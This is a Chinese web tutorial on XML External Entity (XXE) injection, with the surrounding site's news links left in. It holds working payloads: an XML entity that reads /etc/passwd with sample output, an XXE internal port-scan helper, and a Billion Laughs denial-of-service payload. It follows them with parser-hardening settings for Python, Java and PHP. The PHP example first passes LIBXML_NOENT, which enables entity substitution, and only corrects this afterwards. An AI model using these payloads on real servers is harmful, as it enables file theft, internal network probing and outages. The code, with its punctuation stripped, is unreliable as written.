,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SS ...
深入解析XML外部实体注入XXE攻击从原理到实战防御什么是XXE攻击XML外部实体注入XML External Entity Injection简称XXE是一种针对XML解析器的安全漏洞。攻击者通过构造特殊的XML文档使其包含恶意外部实体。这些外部实体可以引用服务器上的敏感文件如/etc/passwd、发起网络请求类似SSRF攻击甚至导致拒绝服务如Billion Laughs攻击。XXE的利用方式与文件包含和SSRF服务器端请求伪造有异曲同工之妙但攻击入口是XML解析。### 核心原理XML允许定义实体Entity分为内部实体和外部实体。外部实体通过SYSTEM关键字引用外部资源例如xml!ENTITY xxe SYSTEM file:///etc/passwd当解析器处理该实体时会读取指定文件内容并插入到XML文档中。如果解析器未禁用外部实体解析攻击者就能窃取数据或发起请求。## 实战示例读取服务器敏感文件### 示例1基本的文件读取假设有一个Web应用它通过POST请求接收XML数据并解析。例如一个用户信息查询接口攻击代码Python模拟python# 攻击者构造的恶意XMLmalicious_xml ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd]root namexxe;/name/root# 模拟服务器端解析使用lxml库默认未禁用外部实体from lxml import etree# 注意实际生产中应禁用外部实体此处仅为演示漏洞parser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(malicious_xml.encode(), parser) print(解析结果, tree.find(name).text)except Exception as e: print(解析失败, e)输出示例解析结果 root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...注释-!DOCTYPE foo [...]定义了文档类型其中包含外部实体声明。-!ENTITY xxe SYSTEM file:///etc/passwd声明了外部实体xxe指向file:///etc/passwd。-namexxe;/name在XML元素中引用了该实体解析器会将其替换为文件内容。### 防御措施在Python的lxml中正确的防御方式是禁用DTD和外部实体pythonparser etree.XMLParser(load_dtdFalse, resolve_entitiesFalse)## 进阶利用SSRF与内网探测外部实体不仅限于file://协议还可以使用http://、ftp://等协议从而实现SSRF攻击。攻击者可以探测内网服务、扫描开放端口甚至利用SSRF攻击其他内网系统。### 示例2内网端口扫描攻击者构造如下XML尝试访问内网IP的特定端口python# 模拟端口扫描的恶意XMLdef scan_port(ip, port): xml_template ?xml version1.0 encodingUTF-8?!DOCTYPE foo [ !ENTITY xxe SYSTEM http://{ip}:{port}/admin]root dataxxe;/data/root return xml_template.format(ipip, portport)# 假设内网IP为192.168.1.1扫描80端口target_ip 192.168.1.1target_port 80payload scan_port(target_ip, target_port)# 服务器端解析同样使用有漏洞的配置from lxml import etreeparser etree.XMLParser(load_dtdTrue, resolve_entitiesTrue)try: tree etree.fromstring(payload.encode(), parser) result tree.find(data).text if result: print(f端口 {target_port} 开放响应内容{result[:100]}) else: print(f端口 {target_port} 无响应)except Exception as e: # 如果连接超时或拒绝可能端口关闭 print(f端口 {target_port} 可能关闭{e})注释- 此代码通过循环扫描不同端口可以探测内网服务。-http://{ip}:{port}/admin尝试访问内网Web管理页面。- 如果解析器返回错误如连接超时表明端口可能关闭如果返回内容则端口开放。注意实际扫描时攻击者会使用更复杂的错误处理来区分“端口关闭”和“无响应”。## 其他攻击向量Billion Laughs与DoS除了数据窃取和SSRFXXE还可以用于拒绝服务攻击。经典的“Billion Laughs”攻击通过递归实体定义消耗大量内存xml!DOCTYPE lolz [ !ENTITY lol lol !ENTITY lol2 lol;lol;lol;lol;lol;lol;lol;lol;lol;lol; !ENTITY lol3 lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2; ...]rootlol999;/root解析器会尝试展开所有实体导致内存耗尽。## 防御实战安全的XML解析配置在不同的编程语言和框架中防御方法略有不同但核心原则是1.禁用外部实体解析设置解析器不加载DTD、不解析外部实体。2.使用白名单如果必须使用外部实体严格限制协议和来源。3.输入验证对用户提交的XML进行严格过滤检查是否包含!DOCTYPE、!ENTITY等标签。### Python安全配置pythonfrom lxml import etree# 安全解析器禁用DTD和外部实体safe_parser etree.XMLParser( load_dtdFalse, # 不加载DTD resolve_entitiesFalse, # 不解析实体 no_networkTrue # 禁止网络访问)# 安全解析用户输入try: tree etree.fromstring(user_xml.encode(), safe_parser) # 正常处理逻辑except etree.XMLSyntaxError as e: # 记录日志拒绝请求 print(fXML解析错误{e})### Java安全配置javaDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true);dbf.setFeature(http://xml.org/sax/features/external-general-entities, false);dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);### PHP安全配置phplibxml_disable_entity_loader(true); // PHP 8.0前可用$xml simplexml_load_string($user_input, SimpleXMLElement, LIBXML_NOENT);注意LIBXML_NOENT实际上会解析实体应使用LIBXML_NONET禁用网络访问并配合libxml_disable_entity_loader(true)。## 总结XXE攻击是一种古老但依然有效的Web安全威胁尤其在处理用户提交XML数据的API中常见。攻击者通过构造恶意外部实体可以读取任意文件、发起内网请求SSRF、甚至实施拒绝服务攻击。防御的关键在于- 在解析XML时始终禁用外部实体和DTD。- 遵循最小权限原则不解析不必要的实体。- 对用户输入进行严格验证拒绝包含!DOCTYPE等标签的异常数据。作为全栈工程师在开发任何涉及XML处理的接口时必须将安全配置作为默认设置而不是事后补救。理解攻击原理并掌握防御代码是构建安全应用的基础。

相关新闻

AI Compass前沿速览:GPT--Codex 、宇树科技世界模型、InfiniteTalk美团数字人、ROMA多智能体框架、混元D .

AI Compass前沿速览:GPT--Codex 、宇树科技世界模型、InfiniteTalk美团数字人、ROMA多智能体框架、混元D .

AI Compass 前沿速览:GPT-Codex、宇树科技世界模型、InfiniteTalk 美团数字人、ROMA 多智能体框架、混元D 引言:AI 技术的多领域突破随着大语言模型、机器人控制、数字人交互等技术的飞速发展,2025 年第一季度涌现了多项引人瞩目的成果。从 O…

2026/7/27 0:23:08 阅读更多 →
LLM文档处理技术实践:从RAG到智能问答系统构建

LLM文档处理技术实践:从RAG到智能问答系统构建

这次我们来看一个关于LLM文档处理的技术主题。随着大语言模型在文档处理领域的应用越来越广泛,如何高效地将PDF、Word等文档传递给LLM进行问答和分析成为了实际工程中的关键问题。本文将从技术实践角度,系统梳理LLM文档处理的核心流程、工具选型和实战方…

2026/7/27 0:23:08 阅读更多 →
QQ空间历史记录备份终极指南:3分钟快速获取所有说说内容

QQ空间历史记录备份终极指南:3分钟快速获取所有说说内容

QQ空间历史记录备份终极指南:3分钟快速获取所有说说内容 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 在数字化时代,QQ空间承载着无数人的青春记忆和社交足迹。…

2026/7/27 0:22:07 阅读更多 →

最新新闻

【CarbonData】什么是 Segment?它在 CarbonData 的数据管理和生命周期中起什么作用?

【CarbonData】什么是 Segment?它在 CarbonData 的数据管理和生命周期中起什么作用?

CarbonData Segment 机制全解析:数据版本管理与生命周期的核心 问题引入 用户问题原文:什么是 Segment?它在 CarbonData 的数据管理和生命周期中起什么作用? 在电商用户画像构建平台中,我们曾遭遇一次严重的数据不一致事故:一条用于计算用户当日活跃度的查询 SELECT use…

2026/7/28 1:24:10 阅读更多 →
MLOps 数据漂移检测:模型性能退化的自动预警

MLOps 数据漂移检测:模型性能退化的自动预警

MLOps 数据漂移检测:模型性能退化的自动预警 一、模型上线的隐性退化 模型上线那天,指标漂亮,皆大欢喜。一个月后,准确率悄悄往下掉。没有报错,没有异常,只是预测越来越偏。这不是 bug,是数据漂…

2026/7/28 1:24:10 阅读更多 →
如何快速解密QMC音乐:完整技术指南与音频格式转换解决方案

如何快速解密QMC音乐:完整技术指南与音频格式转换解决方案

如何快速解密QMC音乐:完整技术指南与音频格式转换解决方案 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 还在为QQ音乐下载的加密音频无法在其他播放器上播放而…

2026/7/28 1:24:10 阅读更多 →
Kite框架实现动态表名的两种方案与实战经验

Kite框架实现动态表名的两种方案与实战经验

1. 动态表名需求背景解析在数据库应用开发中,动态表名是一个经典但容易被忽视的需求场景。我最早接触这个需求是在2018年开发一个多租户SaaS系统时,当时需要在同一个数据库实例中为每个租户动态分配独立的数据表。这种设计既能保证数据隔离,又…

2026/7/28 1:24:10 阅读更多 →
C++函数适配器:从std::bind2nd到std::bind的演进与实战

C++函数适配器:从std::bind2nd到std::bind的演进与实战

1. 项目概述:从“硬编码”到“灵活适配”的思维跃迁在C STL算法的世界里,我们常常会遇到一个看似简单却令人头疼的场景:手头有一个现成的算法,比如std::count_if,它需要一个一元谓词(一个参数)来…

2026/7/28 1:24:10 阅读更多 →
AWK多行文本解析实战:从日志处理到性能优化

AWK多行文本解析实战:从日志处理到性能优化

1. 多行文本解析的常见场景与核心挑战处理多行文本数据是日常开发中的高频需求。从日志分析到配置文件处理,再到数据清洗,我们经常需要从结构复杂或半结构化的文本中提取特定信息。以Nginx访问日志为例,单条记录可能跨越多行,包含…

2026/7/28 1:23:10 阅读更多 →

日新闻

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生

告别臃肿!3步让你的暗影精灵笔记本重获新生 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub 你是否也曾为官方Om…

2026/7/28 0:00:43 阅读更多 →
RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

RAG必踩坑!财报法规检索不准?这款开源工具让答案浮出水面,准确率飙升98.7%!

做 RAG 的人应该都踩过这个致命的坑:把几百页的财报、法规、技术手册扔给向量库,问一个具体问题,搜出来的全是沾边但没用的内容 —— 关键信息要么被硬切块拆碎了,要么藏在几十条结果的最下面。语义相似≠真正相关,这个…

2026/7/28 0:00:43 阅读更多 →
抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

抖音视频文案提取工具全指南:免费2026版、手机App、在线工具一网打尽

2026年做短视频运营,从抖音上扒文案早就不是偷偷抄笔记的事了。我刚开始做内容的时候,每天刷半小时抖音,手动把爆款视频的口播敲进备忘录,一条2分钟的视频得花十来分钟,碰到语速快的还要反复回听。后来试了一圈工具&am…

2026/7/28 0:00:43 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/27 4:33:59 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/27 6:31:56 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/27 4:01:12 阅读更多 →

月新闻